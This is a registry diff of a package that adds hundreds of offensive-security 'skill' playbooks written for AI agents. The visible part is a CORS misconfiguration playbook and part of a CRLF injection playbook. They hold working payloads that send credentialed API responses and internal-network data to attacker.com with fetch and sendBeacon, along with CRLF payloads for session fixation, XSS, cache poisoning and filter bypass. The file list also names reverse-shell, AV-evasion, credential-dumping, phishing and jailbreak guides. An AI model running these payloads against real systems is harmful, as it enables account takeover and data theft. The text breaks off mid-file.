ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,270 @@
1
+ ---
2
+ name: cors-cross-origin-misconfiguration
3
+ description: >-
4
+ CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.gated: true
5
+ ---
6
+
7
+ # SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors
8
+
9
+ > **AI LOAD INSTRUCTION**: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion [SCENARIOS.md](./SCENARIOS.md).
10
+
11
+ ### Extended Scenarios
12
+
13
+ Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
14
+ - JSONP hijacking complete attack scenario — watering hole + `<script>` cross-origin data theft
15
+ - Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
16
+ - Same-origin policy deep dive — protocol/hostname/port definition, `document.domain` subdomain relaxation and its security risks
17
+ - CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
18
+ - CORS exploitation payloads — reflected origin with `credentials: include`, null origin via sandboxed iframe
19
+ - Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup
20
+
21
+ ## 1. WHEN TO LOAD THIS SKILL
22
+
23
+ Load when:
24
+
25
+ - Responses contain `Access-Control-Allow-Origin`, `Access-Control-Allow-Credentials`, or preflight headers
26
+ - A browser-based attack path might read authenticated API responses
27
+ - JSON endpoints appear protected from CSRF but are readable cross-origin
28
+
29
+ ## 2. HIGH-VALUE MISCONFIGURATION CHECKS
30
+
31
+ | Theme | What to Check |
32
+ |---|---|
33
+ | wildcard with credentials | `Access-Control-Allow-Origin: *` plus credential support or equivalent broken behavior |
34
+ | reflected origin | server echoes arbitrary `Origin` |
35
+ | weak allowlist | suffix, prefix, substring, regex, or mixed-case matching errors |
36
+ | `null` origin | acceptance of sandboxed, file, or serialized origins |
37
+ | preflight trust | overbroad methods and headers |
38
+ | internal API exposure | admin or tenant data readable cross-origin |
39
+
40
+ ## 3. QUICK TRIAGE
41
+
42
+ 1. Send crafted `Origin` headers and inspect reflection.
43
+ 2. Test with and without credentials.
44
+ 3. Probe allowlist bypasses using attacker subdomains and parser edge cases.
45
+ 4. If readable data is sensitive, chain to account or tenant impact.
46
+
47
+ ## 4. RELATED ROUTES
48
+
49
+ - Session or JSON action abuse: [csrf cross site request forgery](../csrf-cross-site-request-forgery/SKILL.md)
50
+ - OAuth token leakage and callback binding: [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md)
51
+ - API auth context: [api auth and jwt abuse](../api-auth-and-jwt-abuse/SKILL.md)
52
+
53
+ ---
54
+
55
+ ## 5. NULL ORIGIN EXPLOITATION
56
+
57
+ ### How `Origin: null` is sent
58
+
59
+ | Context | Origin Header Value |
60
+ |---------|-------------------|
61
+ | Sandboxed iframe (`<iframe sandbox>`) | `null` |
62
+ | `data:` URI scheme | `null` |
63
+ | `file:` protocol (local HTML) | `null` |
64
+ | Cross-origin redirect chain (some browsers) | `null` |
65
+ | Serialized data in `blob:` URL from opaque origin | `null` |
66
+
67
+ ### Exploitation
68
+
69
+ If the server includes `null` in its origin allowlist or reflects it:
70
+
71
+ ```http
72
+ Access-Control-Allow-Origin: null
73
+ Access-Control-Allow-Credentials: true
74
+ ```
75
+
76
+ ```html
77
+ <iframe sandbox="allow-scripts allow-forms" srcdoc="
78
+ <script>
79
+ fetch('https://target.com/api/user/profile', {credentials: 'include'})
80
+ .then(r => r.json())
81
+ .then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
82
+ </script>
83
+ "></iframe>
84
+ ```
85
+
86
+ The sandboxed iframe sends `Origin: null` → server reflects `null` → attacker reads credentialed response.
87
+
88
+ ---
89
+
90
+ ## 6. SUBDOMAIN XSS → CORS BYPASS CHAIN
91
+
92
+ ### Attack flow
93
+
94
+ ```text
95
+ 1. Target API at api.target.com allows CORS from *.target.com
96
+ 2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
97
+ 3. Exploit XSS to make credentialed requests to api.target.com
98
+ 4. CORS allows the request → attacker reads sensitive API responses
99
+ ```
100
+
101
+ ### PoC (injected via XSS on blog.target.com)
102
+
103
+ ```javascript
104
+ fetch('https://api.target.com/v1/user/profile', {
105
+ credentials: 'include'
106
+ })
107
+ .then(r => r.json())
108
+ .then(data => {
109
+ navigator.sendBeacon('https://attacker.com/exfil',
110
+ JSON.stringify(data));
111
+ });
112
+ ```
113
+
114
+ ### Why this works
115
+
116
+ - `blog.target.com` is **same-site** with `api.target.com` → `SameSite` cookies sent
117
+ - CORS allowlist includes `*.target.com` → `Access-Control-Allow-Origin: https://blog.target.com`
118
+ - Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain
119
+
120
+ ### Reconnaissance for this chain
121
+
122
+ ```text
123
+ □ Enumerate subdomains (amass, subfinder, crt.sh)
124
+ □ Test each for XSS (stored, reflected, DOM)
125
+ □ Check if API CORS accepts subdomain origins
126
+ □ Subdomain takeover candidates also qualify
127
+ ```
128
+
129
+ ---
130
+
131
+ ## 7. VARY: ORIGIN CACHING ISSUE
132
+
133
+ ### Problem
134
+
135
+ When the server reflects `Origin` in `Access-Control-Allow-Origin` but does **not** include `Vary: Origin` in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:
136
+
137
+ ```text
138
+ 1. Attacker requests: Origin: https://attacker.com
139
+ Response cached with: Access-Control-Allow-Origin: https://attacker.com
140
+
141
+ 2. Victim requests same URL (no Origin or different Origin)
142
+ Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
143
+ → Victim's browser allows attacker.com to read the response (CORS cache poisoning)
144
+ ```
145
+
146
+ ### Detection
147
+
148
+ ```bash
149
+ # Request 1: with attacker origin
150
+ curl -H "Origin: https://evil.com" https://target.com/api/data -I
151
+
152
+ # Request 2: with legitimate origin
153
+ curl -H "Origin: https://target.com" https://target.com/api/data -I
154
+
155
+ # Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
156
+ # → cache poisoned, Vary: Origin is missing
157
+ ```
158
+
159
+ ### Exploitation
160
+
161
+ ```text
162
+ 1. Warm the cache: send request with Origin: https://attacker.com
163
+ 2. Wait for victim to access the same cached URL
164
+ 3. Cached ACAO header allows attacker.com to read the response
165
+ 4. Attacker page fetches the URL → reads cached response with credentials
166
+ ```
167
+
168
+ ### Fix verification
169
+
170
+ ```text
171
+ □ Response includes Vary: Origin
172
+ □ Cache key includes the Origin header
173
+ □ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)
174
+ ```
175
+
176
+ ---
177
+
178
+ ## 8. REGEX BYPASS PATTERNS
179
+
180
+ Common flawed regex patterns for origin validation:
181
+
182
+ | Intended Pattern | Flaw | Bypass Origin |
183
+ |-----------------|------|---------------|
184
+ | `^https?://.*\.target\.com$` | `.*` matches anything including `-` | `https://attacker-target.com` |
185
+ | `^https?://.*target\.com$` | Missing anchor after subdomain | `https://nottarget.com`, `https://attacker.com/.target.com` |
186
+ | `target\.com` (substring match) | No anchors | `https://attacker.com?target.com` |
187
+ | `^https?://(.*\.)?target\.com$` | Missing port restriction | `https://target.com.attacker.com:443` |
188
+ | `^https://[a-z]+\.target\.com$` | Missing end anchor for path | N/A (but misses subdomains with `-` or digits) |
189
+ | Backtracking-vulnerable regex | ReDoS | `https://aaaa...aaa.target.com` (CPU exhaustion) |
190
+
191
+ ### Test payloads for origin validation bypass
192
+
193
+ ```text
194
+ https://attacker.com/.target.com
195
+ https://target.com.attacker.com
196
+ https://attackertarget.com
197
+ https://target.com%60attacker.com
198
+ https://target.com%2F@attacker.com
199
+ https://attacker.com#.target.com
200
+ https://attacker.com?.target.com
201
+ null
202
+ ```
203
+
204
+ ### Advanced: Unicode normalization bypass
205
+
206
+ ```text
207
+ https://target.com → https://ⓣarget.com (Unicode homoglyph)
208
+ ```
209
+
210
+ Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.
211
+
212
+ ---
213
+
214
+ ## 9. INTERNAL NETWORK CORS EXPLOITATION
215
+
216
+ ### Scenario
217
+
218
+ An internal-only API (e.g., `http://192.168.1.100:8080/admin`) is configured with:
219
+ ```http
220
+ Access-Control-Allow-Origin: *
221
+ ```
222
+
223
+ Internal APIs often use wildcard CORS because "only internal users can reach it."
224
+
225
+ ### Attack chain
226
+
227
+ ```text
228
+ 1. Attacker sends victim (internal employee) a link to attacker.com
229
+ 2. Attacker page JavaScript fetches internal API:
230
+ fetch('http://192.168.1.100:8080/admin/users')
231
+ 3. CORS allows * → response readable
232
+ 4. Exfiltrate internal data to attacker server
233
+ ```
234
+
235
+ ```javascript
236
+ // On attacker.com — target internal API from victim's browser
237
+ const internalAPIs = [
238
+ 'http://192.168.1.1/admin/config',
239
+ 'http://10.0.0.1:8080/api/users',
240
+ 'http://172.16.0.1:9200/_cat/indices', // Elasticsearch
241
+ 'http://localhost:8500/v1/agent/members', // Consul
242
+ ];
243
+
244
+ internalAPIs.forEach(url => {
245
+ fetch(url)
246
+ .then(r => r.text())
247
+ .then(data => {
248
+ navigator.sendBeacon('https://attacker.com/exfil',
249
+ JSON.stringify({url, data}));
250
+ })
251
+ .catch(() => {});
252
+ });
253
+ ```
254
+
255
+ ### Port scanning via CORS timing
256
+
257
+ Even without `Access-Control-Allow-Origin: *`, the attacker can infer internal service availability:
258
+ - **Port open**: connection established → CORS error (different timing)
259
+ - **Port closed**: connection refused → fast error
260
+ - **Host down**: timeout → slow error
261
+
262
+ ### Combined with DNS rebinding
263
+
264
+ ```text
265
+ 1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
266
+ 2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
267
+ 3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
268
+ 4. JavaScript on the page fetches attacker.com/admin → now hits internal server
269
+ 5. Same-origin policy satisfied (same domain) → response readable
270
+ ```
@@ -0,0 +1,179 @@
1
+ ---
2
+ name: crlf-injection
3
+ description: >-
4
+ CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.gated: true
5
+ ---
6
+
7
+ # SKILL: CRLF Injection — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the target is a **Java service** and `%0D%0A` / `\r\n` encodings are WAF-blocked — substituting `瘍` (U+760D, low byte `\r`) and `瘊` (U+760A, low byte `\n`) injects a real CRLF through Angus Mail / Jakarta Mail SMTP, Apache HttpClient headers, JDK HttpServer responses, and ActiveJ HTTP (re-enables Jira CVE-2025-57733 and JDK CVE-2026-21933 classes)
14
+
15
+ ## 1. CORE CONCEPT
16
+
17
+ CRLF = `\r\n` (Carriage Return + Line Feed, `%0D%0A`). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.
18
+
19
+ ```
20
+ Normal: Location: /page?url=USER_INPUT
21
+ Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
22
+ Result: Two headers — Location + injected Set-Cookie
23
+ ```
24
+
25
+ ---
26
+
27
+ ## 2. DETECTION
28
+
29
+ ### Basic Probe
30
+
31
+ ```text
32
+ %0D%0ANew-Header:injected
33
+
34
+ # In URL parameter:
35
+ https://target.com/redirect?url=%0D%0AX-Injected:true
36
+
37
+ # Check response headers for "X-Injected: true"
38
+ ```
39
+
40
+ ### Double CRLF — Body Injection
41
+
42
+ Two consecutive CRLF sequences end headers and start body:
43
+
44
+ ```text
45
+ %0D%0A%0D%0A<script>alert(1)</script>
46
+
47
+ # Result:
48
+ HTTP/1.1 302 Found
49
+ Location: /page
50
+
51
+ <script>alert(1)</script>
52
+ ```
53
+
54
+ ---
55
+
56
+ ## 3. EXPLOITATION SCENARIOS
57
+
58
+ ### Session Fixation via Set-Cookie
59
+
60
+ ```text
61
+ %0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
62
+ ```
63
+
64
+ ### XSS via Response Body
65
+
66
+ ```text
67
+ %0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
68
+ ```
69
+
70
+ ### Cache Poisoning
71
+
72
+ If the response is cached by a CDN or proxy, injected headers/body are served to all users:
73
+
74
+ ```text
75
+ GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
76
+ ```
77
+
78
+ ### Log Injection
79
+
80
+ CRLF in log-visible fields (User-Agent, Referer) can forge log entries:
81
+
82
+ ```text
83
+ User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200
84
+ ```
85
+
86
+ ---
87
+
88
+ ## 4. FILTER BYPASS
89
+
90
+ | Filter | Bypass |
91
+ |---|---|
92
+ | Blocks `%0D%0A` | Try `%0D` alone, `%0A` alone, or `%E5%98%8A%E5%98%8D` (Unicode) |
93
+ | URL decodes once | Double-encode: `%250D%250A` |
94
+ | Strips `\r\n` literally | Use URL-encoded form |
95
+ | Blocks in value only | Inject in parameter name |
96
+
97
+ ```text
98
+ # Unicode/UTF-8 bypass:
99
+ %E5%98%8A%E5%98%8D → decoded as CRLF in some parsers
100
+
101
+ # Double URL encoding:
102
+ %250D%250A → server decodes to %0D%0A → interpreted as CRLF
103
+
104
+ # Partial injection (LF only):
105
+ %0A → some servers accept LF without CR
106
+ ```
107
+
108
+ ---
109
+
110
+ ## 5. REAL-WORLD EXPLOITATION CHAINS
111
+
112
+ ### CRLF + Session Fixation
113
+
114
+ ```text
115
+ # Inject Set-Cookie via CRLF in redirect parameter:
116
+ ?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
117
+
118
+ # Result:
119
+ HTTP/1.1 302 Found
120
+ Location: /page
121
+ Set-Cookie: PHPSESSID=attacker_controlled_session_id
122
+
123
+ # Victim uses attacker's session → attacker hijacks after login
124
+ ```
125
+
126
+ ### CRLF → XSS via Double CRLF Body Injection
127
+
128
+ ```text
129
+ # Two CRLF sequences end headers and inject response body:
130
+ ?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
131
+
132
+ # Result:
133
+ HTTP/1.1 302 Found
134
+ Location: /page
135
+
136
+ <script>alert(document.cookie)</script>
137
+ ```
138
+
139
+ ### CRLF in 302 Location → Redirect Hijack
140
+
141
+ ```text
142
+ # Inject new Location header before the original:
143
+ ?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
144
+
145
+ # Some servers use the LAST Location header → redirect to evil.com
146
+ ```
147
+
148
+ ---
149
+
150
+ ## 6. COMMON VULNERABLE PATTERNS
151
+
152
+ ```php
153
+ // PHP — header() with user input (PHP < 5.1.2 vulnerable):
154
+ header("Location: " . $_GET['url']);
155
+
156
+ // Python — redirect with unsanitized input:
157
